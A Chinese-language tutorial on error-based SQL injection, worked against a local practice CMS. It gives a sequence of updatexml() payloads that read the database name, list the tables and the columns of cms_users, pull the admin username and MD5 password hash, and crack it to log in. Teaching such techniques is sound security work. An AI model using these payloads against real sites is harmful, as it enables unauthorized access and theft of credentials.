SQL注入之报错注入

文章目录

报错注入是什么?

在注入点的判断过程中,发现数据库中SQL 语句的报错信息,会显示在页面中,因此可以利用报错信息进行注入。

报错注入的原理,就是在错误信息中执行SQL 语句。触发报错的方式有很多,具体细节也不尽相同。此处建议直接背公式,将公式带换掉 1=1 的部分。

报错注入就是在判断SQL注入的注入点时发现数据库的报错信息会回显到页面上,那么就可以对报错信息进行注入操作。

报错注入获取cms账号密码

打开cms数据库的网页:http://127.0.0.1/cms/show.php?id=33,

打开hackbar插件,在URL中输入命令测试:

报错注入公式:

复制代码
updatexml(1,concat(0x5e,(select database()),0x5e),1)

获取数据库名:

复制代码
?id=33 and updatexml(1,concat(0x5e,(select database()),0x5e),1)

运行结果:

数据库名为cms

获取表个数:

count(*):获取表个数

0x5e:^符,用来分割报错和输出的结果

concat:将多个字符连接成一个字符串

复制代码
?id=33 and updatexml(1,concat(0x5e,(select count(*) from information_schema.tables where table_schema=database()),0x5e),1)

运行结果:

一共有8个表

逐个获取表名:

报错注入不同于联合查询,它只能逐个获取表名

limit 0,1:用来限定取第0行的一行记录,由于有8个表,也就是有8行数据,多取会报错。

information_schema 元数据数据库

存储库名、表名(-- tables)

存储列名(-- columns)))

取第0行的一行记录:

复制代码
?id=33 and updatexml(1,concat(0x5e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x5e),1)

运行结果:

找出表名cms_article

去第1行的一行记录:

复制代码
?id=33 and updatexml(1,concat(0x5e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x5e),1)

运行结果:

找出表名cms_category

以此类推,直到取出所有表名:

cms_article

cms_category

cms_file

cms_friendlink

cms_message

cms_notice

cms_page

cms_users

获取cms_users表的列的个数:

table_name=0x636d735f7573657273是cms_users表名转16进制后的结果,如果直接用表名'cms_users',会导致表名被cms**转义并报错,**所以需要避免单引号的使用。

复制代码
?id=33 and updatexml(1,concat(0x5e,(select count(*) from information_schema.columns where table_schema=database() and table_name=0x636d735f7573657273),0x5e),1)

运行结果:

cms_users表中一共有三列数据

获取cms_users表的列的字段(内容):

limit 0,1:用来限定取第0行的一行记录,由于有3行数据,多取会报错。

limit 1,1:用来限定取第1行的一行记录,由于有3行数据,多取会报错。

...

取第一行数据:

复制代码
?id=33 and updatexml(1,concat(0x5e,(select column_name from information_schema.columns where table_schema=database() and table_name=0x636d735f7573657273 limit 0,1),0x5e),1)

运行结果:

取第二行数据:

复制代码
?id=33 and updatexml(1,concat(0x5e,(select column_name from information_schema.columns where table_schema=database() and table_name=0x636d735f7573657273 limit 1,1),0x5e),1)

运行结果:

取出的所有字段:

userid

username

password

获取username的内容:

复制代码
?id=33 and updatexml(1,concat(0x5e,(select username from cms_users limit 0,1),0x5e),1)

运行结果:

用户名为admin

获取password中的密文:

length(password):获取password的密文长度,由于password中的密码是一段md5密文,长度过长,不能一次取出,先获取长度后分次取出。

获取密文长度:

复制代码
?id=33 and updatexml(1,concat(0x5e,(select length(password) from cms_users limit 0,1),0x5e),1)

运行结果:

md5密文长度是32

取前16位密码:

复制代码
?id=33 and updatexml(1,concat(0x5e,(select substr(password,1,16) from cms_users limit 0,1),0x5e),1)

运行结果:

前16位md5密码密文

取后16位密码:

复制代码
?id=33 and updatexml(1,concat(0x5e,(select substr(password,17,32) from cms_users limit 0,1),0x5e),1)

运行结果:

后16位密文

拼接后获得md5密码密文:

复制代码
e10adc3949ba59abbe56e057f20f883e

解码得到明文密码:

复制代码
123456

成功登录

相关推荐
薛晓刚22 分钟前
OceanBase单机版保姆级安装
数据库
亚林瓜子33 分钟前
Clickhouse试用单机版部署
数据库·clickhouse·aws·ec2
Gauss松鼠会1 小时前
GaussDB回调机制深度实践:从事件驱动到系统集成
开发语言·javascript·数据库·sql·gaussdb
25405465201 小时前
629SJBH图书管理系统设计与实现
数据库·毕业设计·毕业论文
PingCAP2 小时前
从 DB-Engines 排名攀升看 TiDB 全球突破之路
数据库·人工智能·tidb
消失在人海中2 小时前
oracle 游标的管理
数据库·oracle
盖世英雄酱581363 小时前
小小的改动,竟然效率提高了1000倍
数据库·后端
八股文领域大手子3 小时前
从接口400ms到20ms,记录一次JVM、MySQL、Redis的混合双打
jvm·数据库·redis·mysql·jar
提高记忆力3 小时前
truncate,drop,delete分析
数据库
江节胜-胜行全栈AI4 小时前
PostgreSQL-中文字段排序-修改字段的排序规则
数据库·postgresql